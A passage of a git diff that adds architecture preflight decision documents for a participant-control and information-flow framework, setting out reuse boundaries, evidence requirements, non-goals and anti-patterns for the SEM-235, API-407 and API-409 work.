`MixedRuntimeBinding` for exact +immutable construction, `participant_crossing_mediation.py` and +`participant_flow_sink.py` for exact-cut owner validation, +`participant_crossing_boundary.py::_authorize_action_effect` for atomic +authorization before backend work, `participant_crossing_egress.py` for +commit-before-serialization, `control_plane_store_*` for atomic durability, +`mixed_runtime_dispatch.py` for write-ahead dispatch evidence, and +`control_plane_recovery.py` for external uncertainty. Reuse +`raes_backend_protocols/participant_control_admission.py` for the API-407 +manifest-support join and `control_plane_audit.py` for bounded audit content. +Reuse these boundaries, not their domain names or record types. + +## Extensibility seam + +The sole extension seam is the immutable runtime binding from an admitted, +revisioned `ParticipantControlSelectionModel` to exact operator-created +`ParticipantControlProvider` instances plus trusted owner resolvers. The +selection already parameterizes profile/mechanism identity, applicability, +roles, typed slots and dependencies, state/memory scope, protocol/support, +authority and finite bounds. Effect realization dispatches by the closed typed +target variant to an owning RAES service, not by backend/provider name. + +This permits another conformant provider or another already-published effect +owner without editing the composition algorithm. A new semantic domain, +protocol revision or effect kind requires its own governed contract/semantic +revision and owner mapping; it must not arrive through `metadata`, an enum +fallback, a callback registry or a universal policy interpreter. + +## Evidence gate for the implementation + +Exercise the real `RuntimeControlPlane`, provider binding, crossing boundary, +store and effect owner—not only API-424 model validators. Reuse the test +patterns in `test_api_424_*`, `test_run_319_participant_flow_policy.py`, +`test_issue_1003_final_sink_flow_enforcement.py`, +`test_issue_1092_control_plane_crash_consistency.py`, +`test_issue_1181_unified_control_plane_mutations.py` and +`test_issue_1186_control_plane_recovery_operations.py`. + +Evidence must include multiple providers and profiles with permuted provider +return order; deterministic, advisory, permissive, deny, transform, conflict, +IFC-driven inject and one non-inject effect; and instrumented zero-call/zero- +disclosure assertions for missing support, weakening, stale state, malformed or +failed resolution, conflict, exhausted bounds, denied owner admission and +failed commit. Both stores must preserve identical contribution, state, +logical-key, budget, dispatch and realization semantics during their supported +lifetimes and against concurrent stale writers. Only the P1/P2 local durable +store supports process-restart and retained-deduplication evidence; P0 must +instead prove its process-loss nonclaims. Cover crashes before dispatch, after +dispatch may have begun and after observed application; exact-key retry versus +changed-content conflict; predecessor versus subsequent failure; provider +re-entry; actor laundering; and diagnostic/audit/error-envelope leakage. A +bounded design witness or a mocked composition unit test is not runtime +evidence. + +## Non-goals and anti-patterns + +- Do not ship a production IFC engine, monitor, policy product, model wrapper, + gateway, provider registry/plugin host, scheduler, backend adapter or + scenario code loader. +- Do not claim backend/provider protection from out-of-world interference, + universal noninterference, provider honesty, backend equivalence, liveness, + distributed atomicity or exactly-once external effects. +- Do not disable or bypass API-409/API-423/SEM-233 admission, final-sink + enforcement, fresh identity, visibility/projection, target capability or + ordinary downstream validation because API-424 composition was eligible. +- Do not collapse profile, mechanism, provider, result slot, decision, effect + intent, logical effect key, operation, dispatch, delivery, observation or + realization into one identifier/status/DTO. +- Do not resolve conflict or missing mandatory support by registration order, + provider order, lexical order, last writer wins, specificity, advice or a + permissive default. Unknown, malformed, weakened without acceptance, stale, + exhausted and failed all block prohibited dispatch. +- Do not mutate histories, replace contribution records, erase provider state + or causal budgets, or use snapshot metadata/audit/logs as operational state. +- Do not duplicate API-424 schemas/composition, API-409 control, API-423 + crossing, operation/idempotency, store/recovery, exception, diagnostic, + audit, authentication or configuration logic behind a new orchestrator + facade. +- Do not leak governed values, rejected inputs, provider errors, credentials, + private state or policy content through errors, logs, audit, digests, + examples, environment, argv, filenames or timing without its owning + projection and disclosure authority. +- Do not treat a provider as the caller, synthesize trusted-embedder identity + for a served trigger, or drop parent-operation and authorization-scope + lineage on a child effect. +- Do not claim P0 restart durability, infer P2 from HTTP availability, expose + P3, or use an API-424 mechanism profile as an API-404 operating profile. diff --git a/docs/decisions/issue-1070-sem-235-architecture-preflight.md b/docs/decisions/issue-1070-sem-235-architecture-preflight.md new file mode 100644 index 000000000..006ea524e --- /dev/null +++ b/docs/decisions/issue-1070-sem-235-architecture-preflight.md @@ -0,0 +1,255 @@ +# SEM-235 / #1070 architecture preflight + +Date: 2026-09-20. + +This is implementation guidance, not semantic publication, an implementation +plan, or evidence of requirement fulfillment. It consumes accepted +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md) and +[participant-control-composition/rev1, PC-01–PC-15](../research/modular-participant-control/composition.md) +at design acceptance revision `ebb70a34b8e7d1cc8964c443841ae57e12ed1014`. +The adopted decision is sufficient; no new ADR or rewrite of that revision is +needed. #1070 owns formal semantic publication and bounded semantic witnesses. +API-424/#1072 owns closed contracts and the provider protocol; RUN-320/#1069 +owns orchestration; ASR-538/#1071 owns independent conformance probes. + +## Decisive current-state finding + +The supplied `SEM-233` requirement is an ACTIVE security-profile dependency, +not #1070's ownership record. #1070 fulfills the DRAFT `SEM-235` semantic +publication boundary while reusing `SEM-230` and preserving `SEM-233` unchanged; +repository workflow and traceability therefore use `SEM-235`. + +The repository already has a complete, deliberately security-specific SEM-233 +surface: `ParticipantBoundaryFlowPolicyProfileModel` pins the literal +`participant-boundary-flow-policy-v1@rev1` identity and canonical digest, +`ParticipantFlowControlRelationModel` closes its label/release/sink/carrier +graph, `validate_participant_flow_control_resolved_context()` joins it to +trusted incumbent state, and `participant_flow_sink.py` enforces its negotiated +legacy runtime path. Those artifacts are not a partially generic framework. +Changing their literals, widening their unions, weakening their digest check, +or teaching their validator to accept arbitrary domains would silently migrate +SEM-233 and pre-empt API-424. #1070 instead publishes profile-neutral semantics +and a separately identified non-security domain; #1072 later decides their +closed portable representation and compatibility binding. + +## Authority and concept boundaries + +- Publish SEM-235 alongside the participant semantics under + `specs/formal/participant-semantics/`, with a distinct authority revision, + stable clause identifiers, and explicit correspondence to PC-01–PC-15. + Reference the accepted architecture rather than maintaining a second editable + composition contract in research prose. Examples, counterexamples and + nonclaims must identify the semantic revision they exercise. +- SEM-230's `information-flow-control.md` owns participant/audience projection, + policy resolution, exact cuts, memory and observable order. SEM-233's + `adversarial-flow-control.md`, `sem-233/rev1` and + `participant-boundary-flow-policy-v1@rev1` retain their two independent + confidentiality/integrity coordinates, release authorities and history. + New non-security domains get new identities. Extracting shared algebra must + not broaden the existing literal revisions, rewrite the published profile + digest, or relabel historical values. +- A participant-control profile selects mechanisms and their obligations. An + IFC domain supplies one closed algebra. A mechanism instance supplies typed + results. A policy interprets those results; an effect is independently + admitted. These are not interchangeable identifiers or states. +- `specs/concept-authority/semantic-profiles.md` / `semantic-profile-v1` describe + cross-phase interoperability assumptions, not mechanism selection. + `specs/sdl/profile-selections.md` / `DomainProfileBindingModel` describe + governed extensions at existing selection owners, not authority to install + IFC semantics. Their revision/digest discipline is reusable; accepting any + installed private profile as an IFC domain is not. SEM-234's + `mixed-participant-composition-profile-v1` governs backend allocation and + coupling, not the mechanism-result conjunction. SDL module composition and + runtime-control-plane workflow composition likewise keep their owners. +- Reuse the GOV-917–922 concept catalog, vocabulary, reference-model and profile + governance. Existing `behavioral-relations` / `policy-noninterference` + placement is the incumbent for flow claims, not proof that every control + mechanism is a noninterference relation. Map each actual claim to its owning + family; do not invent an umbrella ontology, reference model, or wire schema + solely to make the new vocabulary look uniform. Profile, mechanism, slot, + resolution-status and effect definitions remain formal-semantic terms until + API-424 publishes fields that need portable values. Do not predeclare them as + controlled wire vocabularies without a real `governed_scopes` owner. + +## Semantic guardrails that downstream designs must retain + +PC-01–PC-15 remain authoritative. In particular: + +- Profile selection is exact, finite and revision/digest-bound, including + applicability, mechanism identity, mandatory/advisory slots, dependencies, + authority, limitations and bounds. Unresolved applicability is not absence. + Empty optional selection makes no support claim and removes no incumbent gate. + Shared instances deduplicate only under the complete binding and state scope. +- Keep resolution status, fact/decision/advice/request payload, composition + conflict and eventual realization status distinct. Missing, unknown, + unsupported, stale, failed and weakened are not label values or synonyms for + deny. Mandatory abstention is unsatisfied; optional advice cannot secretly + supply a required dependency. All blocking reasons survive deterministic + ordering. No provider-arrival or lexicographic winner resolves a conflict. +- Domain joins must be total and conservative within their closed carrier, + associative, commutative, idempotent, monotone and upper bounds. Do not require + an unadopted least-upper-bound theorem. Unknown coverage is not the empty + known input/bottom. Track possible data, memory, argument-selection and + declared control influence; disclose instrumentation limits. Cross-domain or + cross-revision comparison requires a published mapping and explicit loss. +- Work the first non-security domain as the PC-04 finite powerset of declared + experimental-influence refs, with subset order, union join, closed source and + sink rules, retained-memory propagation and an admitted inject-request rule. + Work SEM-233 separately as its confidentiality/integrity product. Sharing + algebraic laws must not make the influence set a third SEM-233 coordinate or + make the security product the universal carrier. +- Known adversarial input may pass an observation sink under its exact policy, + retain influence and trigger a governed inject. That neither endorses the + source nor permits downstream actions. Unknown source authority still fails + closed. Observe-influence is not a weaker spelling of SEM-233 enforcement. +- Independent results bind one exact cut; dependent rules consume declared + typed slots in an acyclic graph. Pin stochastic assessments as inputs; + deterministic composition does not promise deterministic provider reruns. + Mandatory constraints conjoin with existing gates. Advice alone grants + neither permission nor veto; an admitted rule may request a gated effect. +- Use PC-09's existing effect owners: API-423 crossings/derivations, API-409 + control and review, DSL-111/142 inject occurrence and participant binding, + API-421/RUN-308 time, and RUN-310 lifecycle. A closed request is not a claim + that each incumbent DTO already supports it. Gaps belong to API-424; no + callback, executable expression, open effects map or universal gateway fills + them. Route is not handoff; review approval is not release or execution. +- Transform/mask/edit produces a fresh proposal or representation; inject + produces a fresh occurrence. Preserve provenance, influence and ordinary + downstream admission. Release changes only its authorized coordinate and + exact result/sink. Handoff, reset and redaction cannot erase obligations. + Reasons, receipt existence, timing and audit visibility are projections too. +- Preserve PC-10's commit-before-dispatch and final invocation fence. Checking + history heads and later calling an unfenced target leaves a race. Provider + next-state refs, decisions, effect claims and budget consumption share the + atomic transition; speculative state cannot escape a failed commit. +- Fresh identity is allocated once per logical effect key, not once per retry. + Changed canonical content under a key conflicts. Required predecessors + withhold the parent until fresh revalidation; subsequent failures do not + undo an observed parent. Uncertain external dispatch stays indeterminate; + local persistence proves neither delivery nor distributed exactly-once work. +- Finite root depth, fan-out, firing, effect, resolution/retry and expiry bounds + survive retry, restart, handoff, reset and derived identities. Exhaustion + cannot silently drop a required effect or widen permission. Diagnostics must + not recursively generate new triggers. Trigger budgets are distinct from + participant resource quotas even where accounting machinery is shared. + +## Cross-cutting layers and canonical incumbents + +Paths beginning with a package name below are relative to +`implementations/python/packages/`. #1070 states these boundary obligations; +it does not implement new endpoints, validators or stores. + +| Layer | Incumbent and required fit | +| --- | --- | +| Semantic publication and governance | Normative prose stays under `specs/formal/participant-semantics/`. Any changed concept-authority JSON must remain under the approved GOV-917–922 surfaces and pass its published JSON Schema, `tools/check_json_artifacts.py` and `tools/check_concept_authority_governance.py`. Lineage updates use `SDLLineageLedgerModel` / `tools/check_sdl_lineage.py`; assurance updates use the existing `specs/formal/assurance-fulfillment.yaml` shape and `tools/check_assurance_policy.py`. Documentation and requirement links still pass the existing docs, repository-policy and requirement-governance gates. Do not add a SEM-235-only parser or validation workflow. | +| Portable ingress and shape | `raes_contracts/json_ingress.py`: `parse_bounded_json_object()` already supports byte and depth limits and rejects duplicate members/non-finite numbers. Downstream API-424 uses it, `StrictJsonIngressError`, `ContractModel(extra="forbid")`, governed revisions, bounded refs and `canonical_json_digest()`. Bound graph work/cardinality separately. No second parser/base model or schema-valid-equals-authorized shortcut. | +| Contextual policy validation | `contracts/participant_flow_control_validation.py` in `raes_contracts` resolves the exact published SEM-233 profile, then calls incumbent action, control, crossing and sink validators. Reuse that trusted-context pattern and `validate_participant_control_occurrence_context()` / `validate_participant_crossing_occurrence_context()`; retain separate structural, graph and contextual gates. Do not generalize the SEM-233 validator into accepting arbitrary new domains or copy its policy into a competing validator. | +| Authentication and authority | `raes_runtime/control_plane_api/_auth.py`, `control_plane_security.py`, `ControlPlaneIdentity`, request-size guards and mutation/idempotency checks retain caller/role/target binding. Participant/controller authority, release authority, rule scope, audience, admission and capability remain independent intersections. #1070 introduces no auth surface or credentials. | +| Final sinks and capability | `raes_runtime/participant_flow_sink.py`, `participant_crossing_state_cut.py`, `participant_crossing_policy.py`, action admission and API-407 `resolve_participant_feature_support()` remain the downstream gates. Serialization, streams, errors, writes and evidence exports are sinks. The optional `resolve_flow_sink_decision` hook and its explicit legacy opt-out are not the new protocol or evidence of modular support; #1069 owns its negotiated replacement. | +| Manifest/configuration shapes | `raes_contracts/contracts/experiment_bindings.py`, participant manifests and `participant_configuration.py` validate target registry, aliases, value types, defaults and complete same-type normalization. Bind admitted configuration identity/digest and exact requested/effective support. A profile or manifest cannot smuggle code via an import, URL, environment value, path or arbitrary options map. Availability does not imply authority or conformance. | +| Secrets and environment | `raes_contracts/secret_references.py` supplies bounded logical secret identities; `raes/runtime_environment.py` and `runtime_values.py` enforce observed-value redaction; runtime-fact policy and `raes_runtime/runtime_fact_dispatch.py` own late-bound dispatch. Carry only safe references where the owning contract permits them. No resolved secret, raw prompt, private state or secret-bearing config in profiles, digest inputs, examples, logs or evidence. A digest is not redaction of a low-entropy secret. | +| Errors, logging and observation | Preserve bounded `ValueError` resolver failures, `CompilationFailure`, `Diagnostic`/`DiagnosticModel`, conformance `sanitized_failure_message()`, and `AuditEvent`. `raes_runtime/control_plane_api/_operation_routes.py` already redacts both unexpected 500 and request-validation 422 responses. Do not serialize raw Pydantic input or provider exception text, introduce another exception hierarchy/logger, or treat audit visibility as participant visibility. Safe refs, coarse reasons and limitations stay audience-governed; logs are not experimental evidence. | +| Persistence and recovery | ADR-104, `ControlPlaneStore.commit_participant_transition()`, `control_plane_store_*`, existing in-memory/local stores, expected heads, scoped idempotency and snapshot migration own state. RUN-320 extends this boundary for provider-state/effect/budget atomicity; no trigger repository, side journal, mutable history or private cache as authority. In-memory evidence cannot establish restart durability. | +| Host/process boundary | Backend calls continue through `RuntimeTarget`, `backend_call_contracts.py` and sanitized `backend_result_diagnostics.py`. #1070 requires no process, socket, daemon, CLI/env binding or secret materialization. Future bindings must keep secrets out of argv, filenames and stdout/stderr and remain operator-bound. Declared-world attacks may be realized; host/provider/credential compromise outside that world invalidates realization and remains backend responsibility. | + +## Publication, evidence and workflow fit + +Use `contracts/concept-authority/`, its governed vocabularies and reference +models, and the current `contracts/provenance/sdl-lineage-ledger-v2.json`. +The existing SEM-230/233 claims record exact source and RAES boundaries under +`concept-family:behavioral-relations`; extend actual derivation evidence without +rewriting those claims or inventing a compatibility claim. Current ledger +subjects resolve to JSON authorities/pointers; a Markdown section is a semantic +boundary reference, not a replacement JSON authority. Research citations alone +do not establish that join. A semantic term without a published contract field +does not justify an empty governed scope, placeholder schema, or speculative +catalog term; record its definition and lineage in the formal authority and add +machine-readable vocabulary only when an approved existing surface actually +binds it. + +`docs/explain/reference/shared-semantic-integrity.md` is the mutable coverage +surface governed by ADR-016. `specs/formal/assurance-policy.yaml` and +`assurance-fulfillment.yaml` retain their evidence classification. Reuse the +SEM-230/233 test-local finite-model pattern (`sem230_information_flow_model.py`, +`sem233_boundary_flow_model.py` and companion tests). The existing +`docs/research/modular-participant-control/check_design.py` is bounded design +falsification only: typed-slot validation, real effect conflicts, concurrent +commit/dispatch fences and crash recovery are not proved by its reducer. +Semantic witnesses need both security and non-security cases, intentional +adversarial delivery/inject, failed conjunctions, order permutations, conflicting +effects, stale cuts, laundering, retry identity and budget exhaustion. Reuse +cases A–G rather than duplicating an alternative acceptance story. Existing +`test_issue_1003_final_sink_flow_enforcement.py` and +`test_issue_1004_apparatus_backend_capabilities.py` remain downstream precedents, +not new SEM-235 runtime evidence. No coverage/status promotion from prose alone. + +The workflow incumbents are `.ground-control.yaml`, `.gc/plan-rules.md`, +`tools/policy/requirement_order.yaml`, `noxfile.py`, `tools/verify_all.py`, the +existing CI workflows, and the repo/requirement, concept-authority, lineage, +semantic-coverage, assurance, JSON-artifact and ADR-immutability checkers. +Set `RAES_REQUIREMENT_UID=SEM-235`. Governance now selects the repository source; +do not copy older research notes' retired-HTTP skip as a successful check. +`modular-control-semantics` has its own dependency phase and, in the #1070 +delivery diff, exact semantic-publication ownership paths. The governance +witness rejects runtime implementation under this phase. Local verification +uses targeted tests and checks; CI owns repository-wide verification, +completion and policy suites, as required by `/implement` and `.gc/plan-rules.md`. + +No schema is required for this preflight. If semantic publication changes an +existing governed catalog's content, follow its existing revision/fixture +rules. If a schema change is actually needed, respect ADR-009/061, the hand-owned +schema, identical `schema_bundle()` output, explicit generator routing and +`check_generated_schemas.py` / `check_schema_publication.py`. The current +publication manifest is an index: hashes and `last_change` belong to the +per-contract `contracts/schema-publication/entries/` record; removals have +tombstones. Do not apply older monolithic-manifest instructions literally or +advertise unpublished API-424 contracts as available capabilities. + +## Extensibility seam and non-goals + +The seam is a separately revisioned domain/profile authority with a closed +carrier, algebra, source/default, propagation, memory, release and sink +relations, plus explicit typed mechanism slots and mappings. Another +non-security domain supplies that publication and later closed contract +support; it does not edit SEM-233 or add backend-name branches. Future validators +take trusted context/resolver indexes and finite limits. Provider construction +remains operator/backend-owned; shared reference/digest machinery does not +become a runtime code loader or universal policy interpreter. + +This work must not deliver a backend engine, provider protocol implementation, +plugin host, scheduler, controller, DTO family, persistence layer, exception +family, secret resolver or new verification workflow. It does not establish +instrumentation completeness, universal noninterference, backend equivalence, +exactly-once effects, controllability, liveness or experimental robustness. +Semantic publication, contract validity, runtime orchestration, installed +provider, declared capability, observed realization, conformance and evaluation +remain separately evidenced stages in the existing delivery graph. + +## Gotchas and anti-patterns to reject + +- Do not rename generic taint tracking as dynamic IFC without a closed carrier, + order, join, source/default, propagation, memory, release and sink relation. +- Do not add `labels`, `effects`, `context`, `metadata`, `options` or callback + bags; arbitrary keys cannot extend semantic authority or select executable + code. +- Do not collapse profile, domain, mechanism, provider, policy, result slot, + decision, effect request, commit or realization into one status or DTO. +- Do not treat authentication, authorization, admission, approval, + declassification, endorsement, redaction, transformation, handoff, delivery + or observation as substitutes for one another. +- Do not fork API-409/API-423 effects, crossing histories, diagnostics, audit, + operation persistence, idempotency, recovery or schema/workflow publication + simply to give participant-control composition a single facade. +- Do not use schema validity, importability, method presence, a manifest claim, + a profile digest, a local commit or a bounded witness as proof of authority, + installed support, external realization, conformance or evaluation. +- Do not resolve mandatory conflicts by provider order, lexical order, + specificity, last-writer-wins or a nominally advisory result. Do not turn + missing, unknown, unsupported, stale, failed, weakened or exhausted state + into permission. +- Do not clear influence, obligations, causal roots or budgets on edit, mask, + transform, route, handoff, episode reset, retry or restart; do not retry an + uncertain non-idempotent external effect blindly. +- Do not leak governed values, raw rejected payloads, provider exceptions, + credentials, private state or policy bodies through examples, digests, + validation errors, audit records, logs, environment, argv or filenames. diff --git a/docs/decisions/issue-1072-api-407-feature-support-preflight.md b/docs/decisions/issue-1072-api-407-feature-support-preflight.md new file mode 100644 index 000000000..d93c16353 --- /dev/null +++ b/docs/decisions/issue-1072-api-407-feature-support-preflight.md @@ -0,0 +1,150 @@ +# Issue #1072 — API-407 feature-support architecture preflight + +Date: 2026-09-20. Inspection baseline: `3fa51877`. +Scope: participant feature declarations within API-424 contract publication; +no implementation or implementation sequencing. + +## Authority and boundary + +[ADR-060](adrs/adr-060-participant-backend-facing-contract-surface.md), +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md), +[PC-01–PC-15](../research/modular-participant-control/composition.md) accepted +at `ebb70a34b8e7d1cc8964c443841ae57e12ed1014`, and +[SEM-235 revision 1](../../specs/formal/participant-semantics/modular-participant-control.md) +settle the architecture. SEM-235 is present through `65ca8e41`; local presence +does not establish a released or installed artifact. No new ADR is needed. +The [API-424 preflight](issue-1072-api-424-provider-contracts-preflight.md) +covers the complete provider/result/effect boundary; this note closes the +API-407 declaration-to-effective-support gap. The older +[#801 preflight](issue-801-api-407-participant-policy-capability-preflight.md) +describes historical gaps, several of which are now implemented. + +API-407 already owns `backend-manifest-v2`'s +`capabilities.participant_runtime.feature_support`. Reuse it and its +`unsupported < disclosed_weak < bounded < exact` vocabulary. Constraint refs +name bounds; limitation refs name exclusions/nonclaims; disclosure refs name +audience obligations; evidence refs name supporting records. None substitutes +for another. SEM-218 `realization_support` and realization-envelope membership +remain independent cross-domain gates. General realization support cannot +establish a participant feature, and a participant declaration cannot waive a +realization envelope. + +API-424's exact mechanism/profile capability records must bind back to the +backend's API-407 declaration, not create a competing manifest support block. +One backend feature entry cannot express every mechanism instance, profile, +configuration, effect target and state cut. Those coordinates belong in the +closed API-424 bindings and trusted contextual joins. Do not encode tuples in +feature names, manufacture one feature per installed instance, or put them in +the existing open `ParticipantRuntimeCapabilities.constraints` map. + +## Admission guardrails exposed by current code + +Package paths here are relative to `implementations/python/packages/`. + +- `raes_contracts/manifest_authority.py` owns the contract allowlist, + term-to-required-contract map and evidence-required feature set. + `contracts/feature_support.py` and `contracts/participant_manifests.py` + under `raes_contracts` enforce the published model; internal dataclasses in + `raes_backend_protocols/participant_capabilities.py` and adapters in + `manifest.py` preserve the same declaration. Extend these existing owners + together, with round-trip and JSON-Schema/Python parity; add no third DTO + or independent rule table. Model/dataclass validation already overlaps: + new rules must remain consistent, without adding another validator in each + consumer or broadening this issue into a global refactor. +- `raes_backend_protocols/participant_feature_admission.py::resolve_participant_feature_support` + is the incumbent comparison. It can return `None` for a supported legacy + feature outside `PARTICIPANT_RUNTIME_EVIDENCE_REQUIRED_FEATURES`; that is + **not an explicit strength result**. New modular claims require explicit + declarations. Preserve legacy acceptance outside that new claimed scope; + do not globally require every historical manifest to enumerate all features. +- A governed `x-:` spelling is not evidence semantics. An unknown + extension currently gets an empty required-contract set. New modular terms + need governed vocabulary/scope, evidence criteria and authorized contract + IDs before admission can accept them. A mapping omission must not confer + vacuous exact support. Evidence-required terms currently use the behavior + map in `BackendManifestV2Model._validate_participant_policy_contracts`: + merely inserting an interaction term into that set would break validation. + Keep the intended terms in their owning scope, or extend the canonical + scope-aware lookup deliberately rather than creating a parallel map. +- Evidence-required features demand evidence for positive support, + limitations/disclosure below exact, constraints when bounded, and agreement + with API-405 presence lists. Do not add declaration-only terms to + `PARTICIPANT_RUNTIME_POLICY_FEATURES`: that set also participates in runtime + policy behavior and reference-backend declarations. Schema publication must + not cause a backend to advertise mechanisms it has not installed. +- The comparison checks presence of downgrade policy/provenance refs; it + does **not** authenticate their authority or resolve evidence, bounds or + limitations. Its return is the declaration, not an installed-provider or + exact-cut attestation. Trusted context must establish those relationships, + required strength and applicable constraints before publishing effective + support. Nonempty evidence, matching digests and an allowed contract ID + prove neither trust nor realization. Unsupported is never an authorized + weaker execution mode. +- Reuse the dependency-inverted pattern in + `raes_contracts/contracts/mixed_composition_resolution.py`: trusted + component-local resolution and exact `MixedCompositionFeatureDowngradeAuthorization` + membership. Its SEM-234 backend-component identity is not an API-424 + mechanism identity; bind their relationship explicitly. Reuse + `raes_processor/trial_compiler/apparatus.py` and `realization_admission.py` + for manifest, envelope, apparatus and allowlist joins. Never pool support + across providers or let one profile authorize another profile's weakening. +- MPC-01/03/13 require requested and effective bindings to remain distinct, + preserving every contributor and blocking reason. Missing, unknown, + unsupported, abstain, deny, conflict, stale, failed, weakened and applied + belong to their respective resolution/decision/composition/realization + coordinates, not an expanded API-407 strength enum. A scalar minimum rank + is insufficient for composed support: different bounds may be incompatible + and mandatory slots may be unresolved. A weaker alternative needs a new + admitted binding/cut, authority, disclosure and fresh validation; it cannot + retain the stronger requested claim or silently drop obligations. + +## Cross-cutting gates and canonical incumbents + +| Layer | Required reuse and satisfaction | +| --- | --- | +| Bytes and parser | New portable ingestion uses `raes_contracts/json_ingress.py::parse_bounded_json_object` with byte/depth limits and bounded reads, rejecting duplicate keys and invalid roots. The current CLI `raes_cli/processor.py::_load_backend_manifest` uses a size stat followed by `read_text`/`json.loads`; this is not duplicate-safe or a race-free read bound. Do not copy it into new ingress. The shared parser rejects literal NaN/Infinity but numeric overflow still needs finite-value checks. | +| Shape and semantic validation | Reuse `ContractModel`, scalar constraints, discriminated variants, controlled vocabularies and owning manifest validators. `extra="forbid"` does not imply strict types or deep immutability; `NonEmptyString` does not reject whitespace. Test wire/model/dataclass parity, direct Python inputs, bounded collections, duplicate identities and mutable aliasing. Use `x-raes-invariants`/`contracts/schema_invariants.py` and conformance's validator registry for trusted-context obligations that JSON Schema cannot establish. | +| Configuration and identity | Reuse `participant_configuration.py`, `contracts/experiment_bindings.py` owner/type/normalization checks and canonical digest utilities in `raes_contracts/_canonical.py` and `satisfiability.py`. Pin exact profile, mechanism, implementation, protocol, configuration and evidence identities; order set-valued arrays canonically before hashing. Follow `participant_flow_policy_profiles.py` and packaged `corpus.py` for safe identifiers and exact revision/digest resolution. No latest fallback, caller-selected lookup roots, imports, URLs, commands or environment expressions as executable selectors. | +| Authentication and authorization | Contract publication adds no endpoint. Later consumers retain `ControlPlaneSecurityConfig.strict_defaults()`, `control_plane_api/_auth.py`, roles/target binding and `RequestSizeLimitMiddleware`. Authenticated identity, resolved downgrade authority, controller/action authority, crossing projection and final-sink permission remain independent conjuncts. Existing `participant_crossing_policy.py`, `participant_flow_sink.py`, ingress and egress gates must not be bypassed by a successful capability comparison. | +| Secrets and environment | Only safe bounded references cross the portable boundary: no prompts, credentials, private model state, raw rejected payloads, native handles or external-apparatus details. Reference strings/digests are not automatic redaction. No new environment bag is needed. If later installation consumes environment bindings, retain `raes/runtime_environment.py::RuntimeEnvironmentVariable` name/source/exclusivity checks and `runtime_values.py::enforce_observed_value_redaction`. | +| Host and process | No executable loading or host access belongs to #1072. Provider installation remains operator/backend-owned. Never transport secrets or provider payloads via argv, shell interpolation, environment dumps, filenames or stdout/stderr; portable paths are not installation authority. Contract validity makes no host-isolation or monitor-independence claim. | +| Errors and observability | Reuse `raes_contracts/diagnostics.py`, existing planner/conformance gaps, runtime `backend_result_diagnostics.py`, coarse `control_plane_api/_responses.py` and `_operation_routes.py` envelopes and rejection auditing. Incumbent manifest validators interpolate rejected terms, and CLI error locations can contain unknown keys: do not forward those strings to new public surfaces. `portable_diagnostic_payload` validates shape, not redaction. Sanitize messages and addresses before serialization. Conformance's sanitizer stays within its package; no reverse import from contracts/runtime. Apply SEM-224 plane classification and SEM-220/226/230 audience projection to reasons, evidence, existence and timing. | +| Persistence and concurrency | Reference existing apparatus/evidence/claim bindings, `RuntimeSnapshot`, operation receipts, `AuditEvent`, and `ControlPlaneStore`/`AtomicControlPlaneStore` expected-head commits. No support cache, snapshot metadata or audit details becomes semantic authority. Later RUN-320 integration owns both memory/local stores, dispatch fencing and recovery; schema-valid support cannot prove freshness, atomic effects, crash durability or exactly-once execution. | +| Package and publication | Portable models/shared validation remain in `raes_contracts`, protocols/admission in `raes_backend_protocols`, orchestration in runtime/processor and probes in conformance, per `tools/policy/adr_policy.yaml`. Normative schemas remain under `contracts/schemas`; match `schema_bundle`, explicit generator routing, exports and installed corpus packaging in `implementations/python/pyproject.toml`. Follow `contracts/README.md`/ADR-009/061, the current v2 publication index and per-contract `schema-publication/entries` hashes/ledger, plus tombstones for removals. Older prose describing code generation as authority or inline v1 ledger entries is not current publication procedure. | + +## Extensibility, evidence and exclusions + +The seam is a typed provider protocol over exact immutable context/results, +bound by trusted operator construction, with out-of-band contextual resolution. +Reuse the existing feature comparison parameterized by feature, required level +and authorized downgrade; add exact profile/mechanism/configuration/cut and +evidence bindings in API-424 rather than backend-name branches in that helper. +A second implementation of the same semantic profile should need new admitted +bindings/evidence, not edits to the profile's meaning. New domains or effect +meanings require governed closed revisions/variants, not an open metadata map. + +Reuse `test_backend_manifest.py`, `test_backend_profiles.py`, vocabulary parity, +issue #1004 declaration tests, #1014/#1015 provider-local resolution tests and +API-409/API-423/SEM-233 fixture/conformance patterns. Necessary acceptance cases +include honest unsupported declarations; missing legacy strength; unknown +extension criteria; forged downgrade/evidence refs; wrong provider, profile, +configuration or cut; incompatible bounds despite equal ranks; partial support +misreported as exact; schema/model round trips; secret-bearing errors; and +unchanged legacy acceptance. Distinguish schema-invalid data from valid shapes +rejected by contextual resolution. Fixtures establish bounded contract behavior, +not installed provider realization or ASR-538 conformance. + +Workflow remains `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, +`tools/nox_support/` and existing policy/schema/concept/authority/lineage gates. +Set `RAES_REQUIREMENT_UID=API-407` for this requirement-specific preflight; +#1072 implementation belongs to API-424's `modular-control-contracts` phase in +`tools/policy/requirement_order.yaml`. API-407's earlier mixed-composition phase +must not bypass #1070/#1072 dependencies. Keep traceability aligned without +claiming that document publication delivers runtime support. + +Non-goals: no new ADR, support scale, manifest block, semantic profile registry, +validation framework, exception hierarchy, logger, store or workflow runner; +no provider discovery, executable installation, concrete engine, HTTP route, +runtime composition/effect execution, persistence migration or backend parity +claim. API-409/API-423, inject, lifecycle, evidence and audit remain the owners +of their operations. #1069 owns orchestration; #1071 owns reusable assurance. diff --git a/docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md b/docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md new file mode 100644 index 000000000..880d02590 --- /dev/null +++ b/docs/decisions/issue-1072-api-409-control-effect-bindings-preflight.md @@ -0,0 +1,160 @@ +# Issue #1072 — API-409 control-effect binding preflight + +Date: 2026-09-20. Inspection baseline: `3fa5187724f21c54196a3259f7b46b2eb1d2db4f`. +Scope: API-409's incumbent control facts within API-424 publication; no +implementation or implementation sequencing. + +## Authority and existing delivery + +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md), +[PC-01–PC-15](../research/modular-participant-control/composition.md), accepted +at `ebb70a34b8e7d1cc8964c443841ae57e12ed1014`, and the published +[SEM-235/MPC-01–15](../../specs/formal/participant-semantics/modular-participant-control.md) +settle the design. No new ADR is necessary. #1070's semantic publication is +present locally; downstream consumption still needs exact released artifacts, +not just a UID, local file or DRAFT status. + +Read this alongside the existing [API-424 preflight](issue-1072-api-424-provider-contracts-preflight.md) +and [API-407 